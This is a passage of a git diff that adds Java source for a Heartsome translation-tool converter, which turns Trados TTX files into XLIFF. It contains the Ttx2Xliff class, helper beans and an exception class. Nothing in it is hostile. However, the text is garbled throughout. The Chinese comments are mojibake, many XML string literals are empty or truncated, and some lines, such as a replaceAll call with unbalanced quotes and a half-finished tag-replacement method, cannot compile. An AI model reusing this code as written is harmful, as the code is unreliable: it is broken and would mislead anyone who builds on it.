it.hasNext();) { + SegmentBean segBean = it.next().getValue(); + tuSB = new StringBuffer(); + if (segBean.getSegment() != null) { + if (segList.size() > 0) { + if (segBean.getSegment().trim().equals(segList.get(0).trim())) { + tuSB.append(""); + tuSB.append(segBean.getSegment() + ""); + tuSB.append(""); + addSB.append(segBean.getParentNodeFrag().replace(segBean.getSegment(), tuSB.toString())); + segList.remove(0); + } else if (segBean.getSegment().length() > segList.get(0).length()) { + //这是一个未分割的文本段分割åŽçš„段数大于1的情况。 + while(segList.size() > 0 && segBean.getSegment().indexOf(segList.get(0)) != -1){ + tuSB.append(""); + tuSB.append(segList.get(0) + ""); + tuSB.append(""); + segList.remove(0); + } + addSB.append(segBean.getParentNodeFrag().replace(segBean.getSegment(), tuSB.toString())); + }else if (segBean.getSegment().length() < segList.get(0).length()) { + //è¿™ç§æƒ…况是未分割的文本段分割åŽä¸è¶³ä¸€ä¸ªæ–‡æœ¬æ®µçš„情况 + tuSB.append(""); + tuSB.append(segBean.getParentNodeFrag()); + while(it.hasNext()){ + //segBean.getSegment() == null || (segList.get(0).indexOf(segBean.getSegment()) != -1 && + segBean = it.next().getValue(); + if (segBean.getSegment() != null && segList.get(0).indexOf(segBean.getSegment()) == -1) { + break; + } + tuSB.append(segBean.getParentNodeFrag()); + } + tuSB.append(""); + addSB.append(tuSB.toString()); + segList.remove(0); + } + } + } else { + addSB.append(segBean.getParentNodeFrag()); + } + } + sklXM.insertBeforeElement(addSB.toString()); + + System.out.println("-----------------------"); + segBeanMap.clear(); + end = false; // 处ç†å®ŒåŽï¼Œå•å…ƒæ ¼æ ‡è¯†ä¸ºæœªç»“æŸçŠ¶æ€ + } + + + + /** + * å–出 Raw 节点下的文本å­èŠ‚点的 token 值进行存放,å•ç‹¬è¿›è¡Œå¤„ç† + */ + private void getRawTextToken() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + String xpath = "/TRADOStag/Body/Raw/text()"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + rawTextTokenList.add(sklVN.getCurrentIndex()); + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/MissTranslationException.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/MissTranslationException.java new file mode 100644 index 0000000..9d23d4a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/MissTranslationException.java @@ -0,0 +1,10 @@ +package net.heartsome.cat.converter.ttx; + +public class MissTranslationException extends Exception { + + /** + * + */ + private static final long serialVersionUID = 1L; + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/SegmentBean.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/SegmentBean.java new file mode 100644 index 0000000..f26b71e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/SegmentBean.java @@ -0,0 +1,45 @@ +package net.heartsome.cat.converter.ttx; + + +/** + * 专门针对 ArrangeTTX 类所需è¦ç”¨çš„æ•°æ®è¿›è¡Œå°è£…çš„ POJO 类。 + * @author robert 2012-07-25 + */ +public class SegmentBean { + /** 一个文本段(å³è¦è¿›è¡Œç¿»è¯‘的文本段)所处在节点的父节点的内容,通常指 节点,若无 ,则其内容为其自己。 */ + private String parentNodeFrag; + /** 这个文本段的父节点是å¦åŒ…括标记 */ + private boolean hasTag; + /** 文本段的内容 */ + private String segment; + /** 标记,这个标记的内容有å¯èƒ½æ˜¯paragram, 也有å¯èƒ½æ˜¯ cf 节点。 */ + private String tagStr; + + public SegmentBean(){} + + public String getParentNodeFrag() { + return parentNodeFrag; + } + public void setParentNodeFrag(String parentNodeFrag) { + this.parentNodeFrag = parentNodeFrag; + } + public boolean isHasTag() { + return hasTag; + } + public void setHasTag(boolean hasTag) { + this.hasTag = hasTag; + } + public String getSegment() { + return segment; + } + public void setSegment(String segment) { + this.segment = segment; + } + public String getTagStr() { + return tagStr; + } + public void setTagStr(String tagStr) { + this.tagStr = tagStr; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/TextBean.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/TextBean.java new file mode 100644 index 0000000..863ce45 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/TextBean.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.converter.ttx; + +public class TextBean { + private int tagId; + private String text; + /** 这个属性是用于逆转æ¢çš„,也就是文本段所处在节点的内容,这个节点一般是df */ + private String parentFrag; + /** 这个属性是用于逆转æ¢çš„,是å¦æœ‰æ ‡è®° */ + private boolean hasTag; + /** 标识此文本段是å¦æ˜¯çº¯æ–‡æœ¬è¿˜æ˜¯æ ‡è®° */ + private boolean isText; + + + public TextBean(){} + + public TextBean(int tagId, String text, boolean isText){ + this.tagId = tagId; + this.text = text; + this.isText = isText; + } + public int getTagId() { + return tagId; + } + public void setTagId(int tagId) { + this.tagId = tagId; + } + public String getText() { + return text; + } + public void setText(String text) { + this.text = text; + } + public String getParentFrag() { + return parentFrag; + } + public void setParentFrag(String parentFrag) { + this.parentFrag = parentFrag; + } + public boolean isHasTag() { + return hasTag; + } + public void setHasTag(boolean hasTag) { + this.hasTag = hasTag; + } + public boolean isText() { + return isText; + } + public void setText(boolean isText) { + this.isText = isText; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Ttx2Xliff.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Ttx2Xliff.java new file mode 100644 index 0000000..f9fa849 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Ttx2Xliff.java @@ -0,0 +1,962 @@ +/** + * Ttx2Xliff.java + * + * Version information : + * + * Date:Jun 16, 2012 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.ttx; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.ttx.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * trados 2007 çš„ ttx(tradostag Xliff) 文件转æ¢å™¨ã€‚ + * @author robert 2012-07-16 + */ +public class Ttx2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-ttx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("ttx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "TTX to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Ttx2XliffImpl converter = new Ttx2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * trados 2007 ttx 文件的转æ¢å®žçŽ°ç±» + * @author robert + * @version + * @since JDK1.6 + */ + class Ttx2XliffImpl { + + /** è¦è½¬æ¢çš„æºæ–‡ä»¶ */ + private String inputFile; + + /** 转æ¢åŽçš„ r8 hsxliff 文件 */ + private String xliffFile; + + /** 转æ¢åŽçš„ r8 hsxliff 骨架文件 */ + private String skeletonFile; + + /** 用户所选择的æºè¯­è¨€ */ + private String userSourceLang; + + /** 用户所选择的目标语言 */ + private String targetLang; + + /** æºæ–‡ä»¶ ttx çš„æºè¯­è¨€ï¼Œè§£æžæ–‡ä»¶æ—¶ï¼Œè¦é€šè¿‡å®ƒæ¥ç¡®å®šæ–‡ä»¶çš„æºæ–‡ã€‚ */ + private String detectedSourceLang; + + /** æºæ–‡ä»¶ ttx 的目标语言,解æžæ–‡ä»¶æ—¶ï¼Œè¦é€šè¿‡å®ƒæ¥ç¡®å®šæ–‡ä»¶çš„译文。 */ + private String detectedTargetLang; + + /** é€‰æ‹©çš„ç¼–ç  */ + private String srcEncoding; + + /** 目标 hsxliff 文件的æµè¾“出类 */ + private FileOutputStream output; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** trans-unit 节点的id */ + private int segId; + + /** 标记的id */ + private int tagId; + + /** The ignore tags. */ + private boolean ignoreTags; + + /** The lock xtrans. */ + private boolean lockXtrans; + + /** The lock100. */ + private boolean lock100; + + /** The is suite. */ + private boolean isSuite; + + /** The qt tool id. */ + private String qtToolID; + /** 骨架文件的导航实例。*/ + private VTDNav sklVN; + /** 骨架文件的 xml 修改实例。*/ + private XMLModifier sklXM; + /** cf标记里是å¦è¦å¸¦èµ°df的属性 */ + private boolean needAddDFAttr; + /** å› æºæ–‡ç¼ºå¤± 结æŸæ ‡è®°è€Œæ‰‹åŠ¨æ·»åŠ çš„ 的个数 */ + private int addedEndTagNum = 0; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢ä»»åŠ¡åˆ†ä¸º 5 个部分:å¤åˆ¶æ–‡ä»¶ï¼Œè§£æžæ–‡ä»¶ï¼Œå¤„ç†å†…容列表,写骨架文件。 + monitor.beginTask(Messages.getString("ttx.Ttx2Xliff.task1"), 5); + Map result = new HashMap(); + segId = 0; + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + userSourceLang = params.get(Converter.ATTR_SOURCE_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + //下é¢ä¸‰ä¸ªæ˜¯æ•´ç†åˆ†æ®µç­‰é€»è¾‘时需è¦çš„å‚数。 +// String elementSegmentation = params.get(Converter.ATTR_SEG_BY_ELEMENT); +// String initSegmenter = params.get(Converter.ATTR_SRX); +// String catalogue = params.get(Converter.ATTR_CATALOGUE); + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + // 默认é”定 xu å¥æ®µ + lockXtrans = true; +// if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_XTRANS))) { +// lockXtrans = true; +// } + + lock100 = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_100))) { + lock100 = true; + } + + try { + ignoreTags = false; + + // å°†æºæ–‡ä»¶å¤åˆ¶è¿›éª¨æž¶æ–‡ä»¶ï¼Œä¹‹åŽå°±ä»Žéª¨æž¶æ–‡ä»¶ä¸­æå–翻译信æ¯ã€‚ + if (!"utf-8".equalsIgnoreCase(srcEncoding)) { + // vtdåœ¨å¤„ç† UTF-16LE 时会出现 token 定ä½å¼‚常,故转æ¢æˆ UTF-8 çš„æ ¼å¼ + copyFile(inputFile, skeletonFile, srcEncoding, "UTF-8"); + }else { + copyFile(inputFile, skeletonFile); + } +// copyFile(skeletonFile, "/home/robert/Desktop/testFile1.txt"); + parseSkeletonFile(); + + //检测是å¦å«æœ‰æœªç¿»è¯‘的文本段,如果å«æœ‰åˆ™æ‹’ç»è½¬æ¢ï¼ŒåŽŸå› æ˜¯ R8中无法转æ¢æœªé¢„翻译的文本段 + check(); + + monitor.worked(1); + getSrcAndTgtLang(); + +// copyFile(skeletonFile, "/home/robert/Desktop/a.txt"); + + output = new FileOutputStream(xliffFile); + //先处ç†ttx文件 + /* 注释,åªæ”¯æŒé¢„翻译åŽçš„文件。 + * ArrangeTTX arrange = new ArrangeTTX(sklVN, sklXM, elementSegmentation, + initSegmenter, userSourceLang, catalogue, detectedSourceLang, detectedTargetLang); + arrange.createTuNode(skeletonFile);*/ + +// copyFile(skeletonFile, "/home/robert/Desktop/a.txt"); + + parseSkeletonFile(); + + writeHeader(); + analyzeNodes(); + + writeString("\n"); + writeString("
    \n"); + writeString("
    "); + + + sklXM.output(skeletonFile); +// copyFile(skeletonFile, "/home/robert/Desktop/aSkeletonFile.txt"); +// copyFile(xliffFile, "/home/robert/Desktop/aXliff.txt"); + + addPHIdToXliff(); + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (OperationCanceledException e) { + e.printStackTrace(); + throw e; + } catch (MissTranslationException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, MessageFormat.format(Messages.getString("ttx.Ttx2Xliff.warn"), new Object[]{new File(inputFile).getName()})); + } catch (Exception e) { + e.printStackTrace(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("ttx.Ttx2Xliff.msg1"), e); + } finally { + monitor.done(); + try { + output.close(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + + return result; + } + + + private void check() throws MissTranslationException { + sklVN.push(); + try { + AutoPilot ap = new AutoPilot(sklVN); + //ç›®å‰å·²çŸ¥çš„两处å¯èƒ½å«æœ‰æœªç¿»è¯‘的文本// + ap.selectXPath("/TRADOStag/Body/Raw/text()|/TRADOStag/Body/Raw/df/text()"); + while (ap.evalXPath() != -1) { + String text = sklVN.toString(sklVN.getCurrentIndex()).replaceAll("\\s", ""); + if (text.length() > 0) { + throw new MissTranslationException(); + } + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } finally { + sklVN.pop(); + } + } + + + /** + * Load files. + * @throws Exception + * the exception + */ + private void parseSkeletonFile() throws Exception { + String errorInfo = ""; + VTDGen vg = new VTDGen(); + if (vg.parseFile(skeletonFile, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + }else { + errorInfo = MessageFormat.format("无法解æžæºæ–‡ä»¶ {0} 。", + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + } + + + /** + * 获å–æºæ–‡ä»¶çš„æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ + */ + private void getSrcAndTgtLang() throws Exception { + String srcLang = ""; + String tgtLang = ""; + AutoPilot ap = new AutoPilot(sklVN); + String xpath = "/TRADOStag/FrontMatter/UserSettings"; + ap.selectXPath(xpath); + int attrIdx = -1; + if (ap.evalXPath() != -1) { + if ((attrIdx = sklVN.getAttrVal("SourceLanguage")) != -1) { + srcLang = sklVN.toRawString(attrIdx); + } + if ((attrIdx = sklVN.getAttrVal("TargetLanguage")) != -1) { + tgtLang = sklVN.toRawString(attrIdx); + } + } + detectedSourceLang = srcLang; + //如果 ttx 的目标文件的目标语言为空,那设æˆè½¬æ¢çš„目标语言 + detectedTargetLang = "".equals(tgtLang) ? targetLang : tgtLang; + //如果当å‰è½¬æ¢çš„目标语言也为空,那设æˆæ ‡è¯† noLang,之åŽè½¬æ¢å®Œäº†å†åœ¨éª¨æž¶æ–‡ä»¶ä¸­è¿›è¡Œæ›¿æ¢ + detectedTargetLang = "".equals(detectedTargetLang) ? "noLang" : detectedTargetLang; + + } + + /** + * 写下 R8 hsxliff æ–‡ä»¶çš„å¤´ä¿¡æ¯ + */ + private void writeHeader() throws IOException { + + writeString("\n"); + writeString("\n"); + writeString("\n"); + writeString("
    \n"); + writeString(" \n"); + String crc = ""; + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; + } + writeString(" \n"); + writeString(" \n"); + writeString(" \n"); + writeString(" " + + srcEncoding + "\n"); + writeString("
    \n"); + writeString("\n"); + } + + /** + * 分æžéª¨æž¶æ–‡ä»¶çš„æ¯ä¸€ä¸ªèŠ‚点,主è¦æ˜¯é’ˆå¯¹tu节点 + * @throws Exception + */ + private void analyzeNodes() throws Exception { + tagId = 0; + int attrIdx = -1; + // ä¿å­˜çš„是è¦ç¿»è¯‘çš„æºæ–‡æ–‡æœ¬ä¸Žæ ‡è®° + Map srcTextMap = new TreeMap(); + // ä¿å­˜çš„是è¦ç¿»è¯‘的译文文本与标记 + Map tgtTextMap = new TreeMap(); + AutoPilot ap = new AutoPilot(sklVN); + AutoPilot childAP = new AutoPilot(sklVN); + VTDUtils vu = new VTDUtils(sklVN); + String xpath = "/TRADOStag/Body/Raw/descendant::Tu"; + String srcXpath = "./Tuv[@Lang=\"" + detectedSourceLang + "\"]"; + String tgtXapth = "./Tuv[@Lang=\"" + detectedTargetLang + "\" and (text()!='' or *)]"; + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + // 第一步,处ç†æºèŠ‚点 + sklVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + needAddDFAttr = false; + srcTextMap.clear(); + if (vu.getChildElementsCount() > 0) { + analysisChildOfSrcTuv(srcTextMap, sklVN, vu); + } else if ((attrIdx = sklVN.getText()) != -1) { + if (!"".equals(sklVN.toRawString(attrIdx))) { + sklXM.updateToken(attrIdx, "%%%" + tagId + "%%%"); + srcTextMap.put(attrIdx, new TextBean(tagId, sklVN.toRawString(attrIdx), true)); + tagId ++; + } + } + } + sklVN.pop(); + //See the enclosure <:xr "“Specifications†on page<:hs>20" 2>. + + // 第二步,验è¯æ˜¯å¦éœ€è¦è¿›è¡Œè½¬æ¢æˆtrans-unit节点 + boolean neenConvert = false; + if (srcTextMap.size() > 0) { + if (srcTextMap.size() == 1) { + for(Entry entry : srcTextMap.entrySet()){ + if (entry.getValue().getTagId() != -1) { + //tag若等于 -1 ,则是标记,标记没有必须生æˆtrans-unit节点 + neenConvert = true; + } + } + }else { + for(Entry entry : srcTextMap.entrySet()){ + if (entry.getValue().getTagId() != -1) { + //tag为1,则全是标记,没有必è¦è¿›è¡Œç”Ÿæˆtu节点 + neenConvert = true; + } + } + } + //如果ä¸ç”¨è½¬æ¢ï¼Œç›´æŽ¥è·³åˆ°ä¸‹ä¸€å¾ªçŽ¯å¤„ + if (!neenConvert) { + continue; + } + } + + // 第三步,处ç†ç›®æ ‡èŠ‚点 + sklVN.push(); + childAP.selectXPath(tgtXapth); + tgtTextMap.clear(); + if (childAP.evalXPath() != -1) { + needAddDFAttr = false; + if (vu.getChildElementsCount() > 0) { + analysisChildOfTgtTuv(tgtTextMap, sklVN, vu); + } else if ((attrIdx = sklVN.getText()) != -1) { + if (!"".equals(sklVN.toRawString(attrIdx))) { + tgtTextMap.put(attrIdx, new TextBean(-1, sklVN.toRawString(attrIdx), true)); + } + } + // 删除译文节点的内容 + String tuvHeader = vu.getElementHead(); + sklXM.remove(); + sklXM.insertAfterElement(tuvHeader + ""); + } + sklVN.pop(); + + // 第四步,处ç†ç›®æ ‡æ–‡æœ¬é›†åˆçš„内容。 + addedEndTagNum = 0; + Map tagMap = new LinkedHashMap(); // ä¿å­˜æ ‡è®°ä¸Žæ ‡è®°çš„å ä½ç¬¦ + String srcText = analysisSrcTextMap(srcTextMap, tagMap); + String tgtText = analysisTgtTextMap(tgtTextMap, tagMap); + + // 第五步,开始生æˆtrans-unit节点 + sklXM.insertAttribute(" id=\"" + segId + "\""); + //转存一些关于tu节点的属性, + int match = 0; + if ((attrIdx = sklVN.getAttrVal("MatchPercent")) != -1) { + String matchPercent = sklVN.toRawString(attrIdx); + if (!matchPercent.equals("")) { + match = Integer.parseInt(matchPercent); + } + } + String origin = ""; + if ((attrIdx = sklVN.getAttrVal("Origin")) != -1) { + origin = sklVN.toRawString(attrIdx); + } + + boolean isLock = false; + boolean isXtranslate = false; + if ("xtranslate".equalsIgnoreCase(origin) && lockXtrans) { + isLock = true; + isXtranslate = true; + } + + if (match >= 100 && lock100) { + isLock = true; + } + writeSegment(srcText, tgtText, match, isLock, isXtranslate); + } + } + + /** + * 分æžtuv节点下é¢çš„所有节点,获å–出è¦ç¿»è¯‘的文本段 + */ + private void analysisChildOfSrcTuv(Map textMap, VTDNav vn, VTDUtils vu) throws Exception{ + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./node()|text()"; + ap.selectXPath(xpath); + int index = -1; + while (ap.evalXPath() != -1) { + int curIdx = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(curIdx); + //等于0表示为节点 + if (tokenType == 0) { + //如果这个节点还有å­èŠ‚点。那么é历其å­èŠ‚点 + if (vu.getChildElementsCount() > 0) { + analysisChildOfSrcTuv(textMap, vn, vu); + }else { + String nodeName = vu.getCurrentElementName(); + if ("df".equals(nodeName)) { + //df节点下的数æ®ï¼Œç›´æŽ¥åŠ è½½ã€‚ + if ((index = vn.getText()) != -1) { + sklXM.updateToken(index, "%%%" + tagId + "%%%"); + textMap.put(index, new TextBean(tagId, vn.toRawString(index), true)); + tagId++; + } + }else if ("ut".equals(nodeName)) { + //ut节点下ä¿å­˜çš„是cf标记信æ¯ï¼Œè¦å°†å®ƒè¿›è¡Œè½¬ä¹‰ + if ((index = vn.getText()) != -1) { + //è¿™ç§æƒ…况,为cf标记 + if (vn.getAttrVal("DisplayText") != -1 && "cf".equals(sklVN.toString(vn.getAttrVal("DisplayText")))) { + textMap.put(index, new TextBean(-1, vn.toString(index), false)); + }else { + // 处ç†é™¤cf之外的其他标记,如symbolï¼Œè¿™æ—¶ä¸€èˆ¬å½“æ–‡æœ¬å¤„ç† + sklXM.remove(); + sklXM.insertBeforeElement("%%%" + tagId + "%%%"); + textMap.put(index, new TextBean(tagId, vn.toString(index), false)); + tagId ++; + } + } + } + } + }else if (tokenType == 5) { //等于5表示为文本å­èŠ‚点 + index = vn.getCurrentIndex(); + sklXM.updateToken(index, "%%%" + tagId + "%%%"); + textMap.put(index, new TextBean(tagId, vn.toRawString(index), true)); + tagId++; + } + } + vn.pop(); + } + + /** + * 分æžè¯‘æ–‡tuv节点下é¢çš„所有节点,获å–出è¦ç¿»è¯‘的文本段,但ä¸å ä½ï¼ŒåªèŽ·å–文本 + */ + private void analysisChildOfTgtTuv(Map tgtTextMap, VTDNav vn, VTDUtils vu) throws Exception{ + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./*|text()"; + ap.selectXPath(xpath); + int index = -1; + while (ap.evalXPath() != -1) { + int curIdx = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(curIdx); + //等于0表示为节点 + if (tokenType == 0) { + //如果这个节点还有å­èŠ‚点。那么é历其å­èŠ‚点 + if (vu.getChildElementsCount() > 0) { + analysisChildOfTgtTuv(tgtTextMap, vn, vu); + }else { + String nodeName = vu.getCurrentElementName(); + if ("df".equals(nodeName)) { + //df节点下的数æ®ï¼Œç›´æŽ¥åŠ è½½ã€‚ + if ((index = vn.getText()) != -1) { + tgtTextMap.put(index, new TextBean(-1, vn.toRawString(index), true)); + } + }else if ("ut".equals(nodeName)) { + //ut节点下ä¿å­˜çš„是cf标记信æ¯ï¼Œè¦å°†å®ƒè¿›è¡Œè½¬ä¹‰ + if ((index = vn.getText()) != -1) { + if (vn.getAttrVal("Type") != -1) { + tgtTextMap.put(index, new TextBean(-1, vn.toString(index), false)); + }else { + // è‹¥ ut 节点没有 Type 属性,一般为除cf之外的其他标记,如symbolï¼Œè¿™æ—¶ä¸€èˆ¬å½“æ–‡æœ¬å¤„ç† + tgtTextMap.put(index, new TextBean(-1, vn.toString(index), false)); + } + } + } + } + }else if (tokenType == 5) { //等于5表示为文本å­èŠ‚点 + index = vn.getCurrentIndex(); + tgtTextMap.put(index, new TextBean(-1, vn.toRawString(index), true)); + } + } + vn.pop(); + } + + /** + * 分æžå¤„ç†æºæˆ–目标文本,主è¦æ˜¯å¤„ç†cf标记,若第一行的标记为一个,那么删除, + * 若缺少的结æŸæ ‡è®°ï¼Œè‡ªåŠ¨è¡¥å…¨ï¼Œè¿˜æœ‰ç§æƒ…况就是标记在tu节点之外的情况。 + */ + private String analysisSrcTextMap(Map srcMap, Map tagMap) { + StringBuffer testSB = new StringBuffer(); + for(Entry entry : srcMap.entrySet()){ + testSB.append(entry.getValue().getText()); + } +// if (testSB.toString().indexOf("See the enclosure") >= 0) { +// System.out.println("处ç†å¼€å§‹äº†ã€‚。。。"); +// +// } + + TextBean[] beans = srcMap.values().toArray(new TextBean[]{}); + StringBuffer sb = new StringBuffer(); + int i = 0; + int start = 0; //是å¦é‡åˆ°èµ·å§‹æ ‡è®° + int end = 0; + for(Entry entry : srcMap.entrySet()){ + TextBean bean = entry.getValue(); + String text = resetText(entry.getValue().getText()); + if (bean.getTagId() == -1) { + //æ ‡è®°çš„èµ·å§‹ç¬¦å· + if (text.indexOf("" + cleanString(text) + "
    "); + } + } + //标记的结æŸç¬¦å· + if (bean.getText().indexOf(" 0 && start > end) { + sb.append(entry.getValue().getText()); + end++; + }else { + sb.append("" + cleanString(entry.getValue().getText()) + ""); + } + } + }else { + //添加纯文本,纯文本里é¢ä¹Ÿæœ‰æ ‡è®°ï¼Œæ¯”如 + if (!bean.isText()) { // 如果是类似的。就å˜æˆ ph 标记 + text = "" + cleanString(text) + ""; + } + sb.append(text); + } + i++; + } + + //最åŽæ—¶ï¼Œå¦‚果缺少一个标签,自动补全。 + for(int j = 0; j < start - end; j++){ + addedEndTagNum ++; + sb.append(""); + } + + String srcText = sb.toString(); + return replaceR8Tag(srcText, tagMap); + } + + /** + * 分æžå¤„ç†ç›®æ ‡æ–‡æœ¬ï¼Œä¸»è¦æ˜¯å¤„ç†cf标记,若第一行的标记为一个,那么以phçš„å½¢å¼å‡ºçŽ°ï¼Œ + * 若缺少的结æŸæ ‡è®°ï¼Œè‡ªåŠ¨è¡¥å…¨ï¼Œè¿˜æœ‰ç§æƒ…况就是标记在tu节点之外的情况。 + * 备注:目标文本与æºæ–‡ä¸ä¸€æ ·çš„是,目标文本里所有的文本都是没有å ä½ç¬¦ç¼–å·çš„。这个å ä½ç¬¦ç¼–å·è¦ä»Žè¯‘文的srcTextMap中获å–,当然此时这些编å·éƒ½å­˜æ”¾åœ¨äº†tagMap中了。 + */ + private String analysisTgtTextMap(Map tgtMap, Map tagMap) { + + StringBuffer testSB = new StringBuffer(); + for(Entry entry : tgtMap.entrySet()){ + testSB.append(entry.getValue().getText()); + } + + StringBuffer sb = new StringBuffer(); + int i = 0; + int start = 0; //是å¦é‡åˆ°èµ·å§‹æ ‡è®° + int end = 0; + for(Entry entry : tgtMap.entrySet()){ + String text = resetText(entry.getValue().getText()); + if (!entry.getValue().isText()) { + //æ ‡è®°çš„èµ·å§‹ç¬¦å· + if (text.indexOf("" + cleanString(text) + ""); + } + }else if (text.indexOf("") != -1) { //标记的结æŸç¬¦å· + //处于标记对的,添加到结果集中,å¦åˆ™ä»¥phçš„å½¢å¼å‡ºçŽ°ã€‚这是针对开始或结æŸæ—¶ï¼Œæœ‰å¤šä½™çš„cf标记的情况 + if (start > 0 && start > end) { + sb.append(text); + end++; + }else { + sb.append("" + cleanString(text) + ""); + } + }else { + //添加纯文本,纯文本里é¢ä¹Ÿæœ‰æ ‡è®°ï¼Œæ¯”如 + text = "" + cleanString(text) + ""; + sb.append(text); + } + }else { + sb.append(text); + } + i++; + + } + + //最åŽæ—¶ï¼Œå¦‚果缺少一个标签,自动补全。 + for(int j = 0; j < start - end; j++){ + sb.append(""); + } + + String srcText = sb.toString(); + return replaceR8Tag(srcText, tagMap); + } + + /** + * å°†ttxçš„cf标记替æ¢æˆR8çš„ g 标记 + */ + private String replaceR8Tag(String text, Map tagMap){ + String replacedText = text; + String tagStr = ""; //标签字符串 + String replaceStr = ""; //è¦æŠŠæ ‡è®°å¤´æ›¿æ¢çš„内容 + int index = replacedText.indexOf("", index); + tagStr = replacedText.substring(index, endIndex + 1); + tagSegId = getTagSegmentId(tagStr, tagMap); + if (tagSegId == -1) { + replaceStr = "", ""); + return replacedText; + } + + /** + * æ ¹æ®æ ‡è®°çš„头节点获å–标记所对应的å ä½ç¬¦ + * @param tagStr + * @param tagMap + * @return + */ + private int getTagSegmentId(String tagStr, Map tagMap){ + int tagSegId = -1; + for (Entry entry : tagMap.entrySet()) { + if (tagStr.equals(entry.getValue())) { + tagSegId = entry.getKey(); + break; + } + } + return tagSegId; + } + + + /** + * å°†ut节点下的标记信æ¯è¿›è¡Œè½¬ä¹‰ + * @param value + * @return + */ + private String resetText(String value) { + value = value.replaceAll(""", "\""); + return value; + } + + + 